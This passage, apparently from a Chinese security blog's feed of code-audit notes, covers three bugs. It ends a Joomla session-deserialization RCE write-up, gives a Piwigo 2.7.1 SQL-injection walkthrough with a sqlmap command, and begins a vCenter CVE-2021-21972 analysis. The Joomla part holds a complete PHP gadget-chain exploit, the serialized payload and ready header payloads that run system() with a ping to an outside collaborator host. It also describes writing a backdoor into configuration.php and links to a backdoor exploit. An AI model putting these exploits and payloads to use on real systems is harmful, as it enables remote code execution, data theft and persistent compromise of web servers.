&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="s2"&gt;&amp;quot;;s:22:&amp;quot;&lt;/span&gt;session.client.browser&lt;span class="s2"&gt;&amp;quot;;s:33:&amp;quot;&lt;/span&gt;normal_user_agent12
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;biaojigaoliang1长度为57，正好是137，这样我们注入的对象就逃逸出来了biaojigaoliang2&lt;/p&gt;
&lt;h2&gt;构造对象序列化字符串&lt;/h2&gt;
&lt;p&gt;选择&lt;code&gt;libraries\joomla\database\driver\mysqli.php&lt;/code&gt;作为反序列化对象，因为它的析构函数中调用了&lt;code&gt;disconnect&lt;/code&gt;方法，而该方法中调用了&lt;strong&gt;call_user_func_array&lt;/strong&gt;方法，而且第一个参数是可控的：&lt;code&gt;$this-&amp;gt;disconnectHandlers&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;call_user_func_array&lt;/strong&gt;函数的第一个参数可以是一个数组：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;call_user_func_array(array(object function), args);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;那么最后调用的形式为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;object.function&lt;span class="o"&gt;(&lt;/span&gt;args&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;这里我们虽然控制不了传递给方法的参数，但是我们可以控制调用的方法&lt;/p&gt;
&lt;p&gt;我们选择使用&lt;code&gt;libraries\simplepie\simplepie.php&lt;/code&gt;中的&lt;code&gt;SimplePie&lt;/code&gt;对象的&lt;code&gt;init&lt;/code&gt;方法&lt;/p&gt;
&lt;p&gt;第1550行：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;$cache&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;call_user_func&lt;span class="o"&gt;(&lt;/span&gt;array&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$this&lt;/span&gt;-&amp;gt;cache_class,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;create&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$this&lt;/span&gt;-&amp;gt;cache_location,&lt;span class="w"&gt; &lt;/span&gt;call_user_func&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$this&lt;/span&gt;-&amp;gt;cache_name_function,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$this&lt;/span&gt;-&amp;gt;feed_url&lt;span class="o"&gt;)&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;spc&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;这里可以看到call_user_func方法的两个参数我们全部可以控制，进而达到RCE&lt;/p&gt;
&lt;p&gt;简单看一下SimplePie的init方法的代码我们就可以写出下面的exp：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class="k"&gt;namespace&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;JSimplepieFactory&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;namespace&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;SimplePie_Sanitize&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;namespace&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;SimplePie&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nv"&gt;$sanitize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nv"&gt;$raw_data&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nv"&gt;$feed_url&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nv"&gt;$cache_name_function&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;namespace&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;JDatabaseDriverMysqli&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;//我们需要伪造一个成员变量JSimplepieFactory对象，来引入SimplePie类文件&lt;/span&gt;
        &lt;span class="k"&gt;protected&lt;/span&gt; &lt;span class="nv"&gt;$justincase&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="k"&gt;protected&lt;/span&gt; &lt;span class="nv"&gt;$disconnectHandlers&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;protected&lt;/span&gt; &lt;span class="nv"&gt;$connection&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="fm"&gt;__construct&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$justincase&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$disconnectHandlers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$connection&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;justincase&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$justincase&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;disconnectHandlers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$disconnectHandlers&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;connection&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$connection&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;namespace&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;require&lt;/span&gt; &lt;span class="no"&gt;__DIR__&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/vendor/autoload.php&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="nv"&gt;$a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;\SimplePie&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="nv"&gt;$a&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;sanitize&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;\SimplePie_Sanitize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nv"&gt;$a&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;raw_data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;12138&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nv"&gt;$a&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;feed_url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;print(system(&amp;#39;ping 7muhj0w6wr91quue8h8i53pxjoped3.burpcollaborator.net&amp;#39;));http://144.one&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nv"&gt;$a&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;cache_name_function&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;assert&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="nv"&gt;$b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;\JDatabaseDriverMysqli&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;\JSimplepieFactory&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;init&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="nx"&gt;dump&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;serialize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$b&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;上面有一个值得注意的地方，就是伪造了一个在JDatabaseDriverMysqli类定义中根本不存在的成员变量&lt;code&gt;$justincase&lt;/code&gt;，并将其值设置为一个JSimplepieFactory对象，这是因为我们使用的SimplePie类并不在Joomla的类查找路径中，也没有被自动加载到应用中，它是由&lt;code&gt;libraries\legacy\simplepie\factory.php&lt;/code&gt;引入的&lt;/p&gt;
&lt;p&gt;第12行：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;jimport(&amp;#39;simplepie.simplepie&amp;#39;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;我们通过伪造这个成员变量，让php初始化JSimplepieFactory类，进而达到引入SimplePie类的目的&lt;/p&gt;
&lt;p&gt;上面的exp生成的序列化字符串如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;O:21:&amp;quot;JDatabaseDriverMysqli&amp;quot;:3:{s:13:&amp;quot;\x00*\x00justincase&amp;quot;;O:17:&amp;quot;JSimplepieFactory&amp;quot;:0:{}s:21:&amp;quot;\x00*\x00disconnectHandlers&amp;quot;;a:1:{i:0;a:2:{i:0;O:9:&amp;quot;SimplePie&amp;quot;:4:{s:8:&amp;quot;sanitize&amp;quot;;O:18:&amp;quot;SimplePie_Sanitize&amp;quot;:0:{}s:8:&amp;quot;raw_data&amp;quot;;s:5:&amp;quot;12138&amp;quot;;s:8:&amp;quot;feed_url&amp;quot;;s:88:&amp;quot;print(system(&amp;#39;ping 7muhj0w6wr91quue8h8i53pxjoped3.burpcollaborator.net&amp;#39;));http://144.one&amp;quot;;s:19:&amp;quot;cache_name_function&amp;quot;;s:6:&amp;quot;assert&amp;quot;;}i:1;s:4:&amp;quot;init&amp;quot;;}}s:13:&amp;quot;\x00*\x00connection&amp;quot;;i:1;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;漏洞利用&lt;/h2&gt;
&lt;p&gt;根据前面的分析，我们可以构造出如下payload：&lt;/p&gt;
&lt;p&gt;x-forwarded-for：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;normal_x_for_warded_for\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;user-agent：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;normal_user_agent1&amp;quot;;s:3:&amp;quot;key&amp;quot;;O:21:&amp;quot;JDatabaseDriverMysqli&amp;quot;:3:{s:13:&amp;quot;\0\0\0justincase&amp;quot;;O:17:&amp;quot;JSimplepieFactory&amp;quot;:0:{}s:21:&amp;quot;\0\0\0disconnectHandlers&amp;quot;;a:1:{i:0;a:2:{i:0;O:9:&amp;quot;SimplePie&amp;quot;:4:{s:8:&amp;quot;sanitize&amp;quot;;O:18:&amp;quot;SimplePie_Sanitize&amp;quot;:0:{}s:8:&amp;quot;raw_data&amp;quot;;s:5:&amp;quot;12138&amp;quot;;s:8:&amp;quot;feed_url&amp;quot;;s:88:&amp;quot;print(system(&amp;#39;ping 7muhj0w6wr91quue8h8i53pxjoped3.burpcollaborator.net&amp;#39;));http://144.one&amp;quot;;s:19:&amp;quot;cache_name_function&amp;quot;;s:6:&amp;quot;assert&amp;quot;;}i:1;s:4:&amp;quot;init&amp;quot;;}}s:13:&amp;quot;\0\0\0connection&amp;quot;;i:1;}s:4:&amp;quot;key1&amp;quot;;s:6:&amp;quot;value1&amp;quot;;s:4:&amp;quot;key2&amp;quot;;s:6:&amp;quot;value2&amp;quot;;s:4:&amp;quot;key3&amp;quot;;s:888:&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;注意上面的&lt;code&gt;normal_user_agent1&lt;/code&gt;，这里我又把&lt;code&gt;2&lt;/code&gt;去掉了，是因为由于payload变长，之前的长度由两位数变成了三位数&lt;/p&gt;
&lt;p&gt;session_decode方法可以正常解析我们构造的session数据&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20210709124849105" src="https://s2.loli.net/2024/06/14/2dc4NJ7bDnFOghU.png"&gt;&lt;/p&gt;
&lt;p&gt;我们只需要使用第一次请求返回的cookie再次发送请求即可完成命令执行&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20210709124815875" src="https://s2.loli.net/2024/06/14/iVMhnNQZk8D1Fec.png"&gt;&lt;/p&gt;
&lt;h1&gt;后记&lt;/h1&gt;
&lt;p&gt;上面只能一次次地发起请求来进行命令执行，有一种更加方便的方式，就是直接将后门写入Joomla应用的根目录下的configuration.php文件中&lt;/p&gt;
&lt;p&gt;这个文件是最理想的文件，它和index.php位于同一个目录，而且文件结尾没有&lt;code&gt;?&amp;gt;&lt;/code&gt;，我们可以通过file_put_contents方法将内容写入到该文件中&lt;/p&gt;
&lt;p&gt;相比上面的exp，唯一需要变动的就是要让session_decode失败，从而将调用栈落回到index.php上&lt;/p&gt;
&lt;p&gt;如果可以正常进行session_decode，那么调用栈的最低层会变成&lt;code&gt;libraries\joomla\database\driver\mysqli.php&lt;/code&gt;，会出现找不到configuration.php文件的问题&lt;/p&gt;
&lt;p&gt;&lt;a href="https://gitee.com/wochinijiamile/smartya/raw/master/%E5%85%B3%E6%B3%A8%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%E3%80%8A%E6%88%91%E5%90%83%E4%BD%A0%E5%AE%B6%E7%B1%B3%E4%BA%86%E3%80%8B%E5%90%8E%E5%8F%B0%E5%9B%9E%E5%A4%8Djojo%E8%8E%B7%E5%8F%96%E5%AF%86%E7%A0%81.7z.7z"&gt;写入后门版exp链接&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;不足之处，欢迎指正&lt;/p&gt;</content><category term="代码审计"></category></entry><entry><title>Piwigo 2.7.1 SQLI学习</title><link href="piwigo-271-sqlixue-xi.html" rel="alternate"></link><published>2021-06-22T00:00:00+02:00</published><updated>2021-06-22T00:00:00+02:00</updated><author><name>12138</name></author><id>tag:None,2021-06-22:piwigo-271-sqlixue-xi.html</id><summary type="html">&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;本文没有什么技术含量，就是自己的代码审计学习笔记&lt;/p&gt;
&lt;h1&gt;准备&lt;/h1&gt;
&lt;p&gt;代码下载链接：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://gitee.com/wochinijiamile/smartya/raw/master/piwigo-2.7.1.zip"&gt;https://gitee.com/wochinijiamile/smartya/raw/master/piwigo-2.7.1.zip&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;php版本不能太高，这里用的是 …&lt;/p&gt;</summary><content type="html">&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;本文没有什么技术含量，就是自己的代码审计学习笔记&lt;/p&gt;
&lt;h1&gt;准备&lt;/h1&gt;
&lt;p&gt;代码下载链接：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://gitee.com/wochinijiamile/smartya/raw/master/piwigo-2.7.1.zip"&gt;https://gitee.com/wochinijiamile/smartya/raw/master/piwigo-2.7.1.zip&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;php版本不能太高，这里用的是php5.4.45，xdm可以直接&lt;a href="https://gitee.com/wochinijiamile/smartya/raw/master/php5.4.45-nts-vc9-x86.7z"&gt;下载&lt;/a&gt;，使用的时候注意修改一下配置文件中的&lt;code&gt;dll&lt;/code&gt;文件路径，另外下面两个扩展要打开&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;extension=php_gd2.dll&lt;/li&gt;
&lt;li&gt;extension=php_mysql.dll&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;mysql自不用多说，肯定也是要有的&lt;/p&gt;
&lt;p&gt;进入piwigo目录，启动web应用：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;php5.4.45&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.0.2.15:12345
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1&gt;分析代码&lt;/h1&gt;
&lt;p&gt;这个注入漏洞的成因就是&lt;code&gt;in_array&lt;/code&gt;的强制类型转换&lt;/p&gt;
&lt;p&gt;第一个参数会被强制转换为符合第二个参数（数组）中元素类型的数据类型&lt;/p&gt;
&lt;p&gt;具体位置在&lt;code&gt;piwigo-2.7.1\piwigo\include\functions_rate.inc.php&lt;/code&gt;的42行&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20210622074133636" src="https://s2.loli.net/2024/06/14/spJt4X1qTx8jiaE.png"&gt;&lt;/p&gt;
&lt;p&gt;方法&lt;code&gt;rate_picture&lt;/code&gt;是在&lt;code&gt;piwigo-2.7.1\piwigo\picture.php&lt;/code&gt;的第344行调用的&lt;/p&gt;
&lt;p&gt;向上回溯并进行调试，可以发现要想触发漏洞，需要两个前置条件（通过调试picture.php中的代码可以得出）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;要有用户权限&lt;/li&gt;
&lt;li&gt;至少要上传一张照片到相册中&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;然后在用户界面中一顿捣鼓（其实也没几个可以点的地方），发现下面这个地方会提交请求到&lt;code&gt;piwigo-2.7.1\piwigo\picture.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20210622075048599" src="https://s2.loli.net/2024/06/14/koi6ReG8vY9PrFN.png"&gt;&lt;/p&gt;
&lt;p&gt;就是这个幻灯片放映这里，通过复制链接地址即可获得需要的参数:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;picture.php?/1/category/1&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;slideshow&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;通过调试代码我们可以知道还需要一个get参数&lt;code&gt;action&lt;/code&gt;，且值为&lt;code&gt;rate&lt;/code&gt;，另外还需要一个post参数&lt;code&gt;rate&lt;/code&gt;，这个参数的值就是用于构造SQLI载荷的参数：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20210622075632417" src="https://s2.loli.net/2024/06/14/oKpmFAZXr3C6vkY.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到我们的&lt;code&gt;'&lt;/code&gt;顺利进入了sql语句（虽然被转义了）&lt;/p&gt;
&lt;p&gt;也就是说只要前面的是数字，整个变量就会被转换成后面数组元素的类型（本案例为int）&lt;/p&gt;
&lt;p&gt;也就是&lt;code&gt;12412a98r90qw8riere&lt;/code&gt;会被转换成&lt;code&gt;12412&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;而且这种转换是默认的，只有你给&lt;code&gt;in_array&lt;/code&gt;的第三个参数设置为true时，才不会进行这种强制类型转换&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;最后我们再给http头加上cookie，保存成文件给sqlmap跑时间盲注就行了&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;POST&lt;span class="w"&gt; &lt;/span&gt;/picture.php?/1/category/1&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;slideshow&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;action&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;rate&lt;span class="w"&gt; &lt;/span&gt;HTTP/1.1
Host:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.0.2.15:2345
Cookie:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pwg_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;kerp8jdk2pr0vbcqp1bet4ap34
Cache-Control:&lt;span class="w"&gt; &lt;/span&gt;no-cache
Content-Type:&lt;span class="w"&gt; &lt;/span&gt;application/x-www-form-urlencoded

&lt;span class="nv"&gt;rate&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sqlmap -r 1.txt -p rate -v 3 --tech=T
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="image-20210622082738764" src="https://s2.loli.net/2024/06/14/zMVkyjc69xOEN8R.png"&gt;&lt;/p&gt;</content><category term="代码审计"></category></entry><entry><title>CVE-2021-21972（vCenter RCE）漏洞分析</title><link href="cve-2021-21972vcenter-rcelou-dong-fen-xi.html" rel="alternate"></link><published>2021-03-02T00:00:00+01:00</published><updated>2021-03-02T00:00:00+01:00</updated><author><name>12138</name></author><id>tag:None,2021-03-02:cve-2021-21972vcenter-rcelou-dong-fen-xi.html</id><summary type="html">&lt;h1&gt;参考链接&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://swarm.ptsecurity.com/unauth-rce-vmware/"&gt;https://swarm.ptsecurity.com/unauth-rce-vmware/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://144.34.164.217/vcenter-rcecve-2021-21972fu-xian.html"&gt;https://penhub.space/vcenter-rcecve-2021-21972.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;漏洞描述&lt;/h1&gt;
&lt;p&gt;CVE-2021-21972：未经认证的文件上传导致的RCE&lt;/p&gt;
&lt;h1&gt;影响范围&lt;/h1&gt;
&lt;p&gt;VMware vCenter Server 7.0系列 &amp;lt; 7.0.U1c&lt;/p&gt;
&lt;p&gt;VMware vCenter Server 6.7系列 &amp;lt; 6 …&lt;/p&gt;</summary><content type="html">&lt;h1&gt;参考链接&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://swarm.ptsecurity.com/unauth-rce-vmware/"&gt;https://swarm.ptsecurity.com/unauth-rce-vmware/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://144.34.164.217/vcenter-rcecve-2021-21972fu-xian.html"&gt;https://penhub.space/vcenter-rcecve-2021-21972.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;漏洞描述&lt;/h1&gt;
&lt;p&gt;CVE-2021-21972：未经认证的文件上传导致的RCE&lt;/p&gt;
&lt;h1&gt;影响范围&lt;/h1&gt;
&lt;p&gt;VMware vCenter Server 7.0系列 &amp;lt; 7.0.U1c&lt;/p&gt;
&lt;p&gt;VMware vCenter Server 6.7系列 &amp;lt; 6.7.U3l&lt;/p&gt;
&lt;p&gt;VMware vCenter Server 6.5系列 &amp;lt; 6.5 U3n&lt;/p&gt;
&lt;h1&gt;分析&lt;/h1&gt;
&lt;p&gt;其实成因很简单，就是其中一个接口没有进行认证即可被访问到，而该接口中的其中一个方法又存在目录穿越漏洞，最终导致了任意文件上传到服务器任意路径的漏洞&lt;/p&gt;
&lt;p&gt;存在漏洞的jar包为&lt;code&gt;vropsplugin-service.jar&lt;/code&gt;，物理路径：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;C:&lt;span class="se"&gt;\P&lt;/span&gt;rogramData&lt;span class="se"&gt;\V&lt;/span&gt;Mware&lt;span class="se"&gt;\v&lt;/span&gt;CenterServer&lt;span class="se"&gt;\c&lt;/span&gt;fg&lt;span class="se"&gt;\v&lt;/span&gt;sphere-client&lt;span class="se"&gt;\v&lt;/span&gt;c-packages&lt;span class="se"&gt;\v&lt;/span&gt;sphere-client-serenity&lt;span class="se"&gt;\c&lt;/span&gt;om.vmware.vrops.install-6.7.0.10000&lt;span class="se"&gt;\p&lt;/span&gt;lugins&lt;span class="se"&gt;\v&lt;/span&gt;ropsplugin-service.jar
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;直接解压缩并&lt;a href="https://gitee.com/wochinijiamile/smartya/blob/master/jd-gui-windows-1.6.6.zip"&gt;反编译&lt;/a&gt;其中的下面这个class文件：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;vropsplugin-service&lt;span class="se"&gt;\c&lt;/span&gt;om&lt;span class="se"&gt;\v&lt;/span&gt;mware&lt;span class="se"&gt;\v&lt;/span&gt;ropspluginui&lt;span class="se"&gt;\m&lt;/span&gt;vc&lt;span class="se"&gt;\S&lt;/span&gt;ervicesController.class
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;漏洞代码片段：&lt;/p&gt;
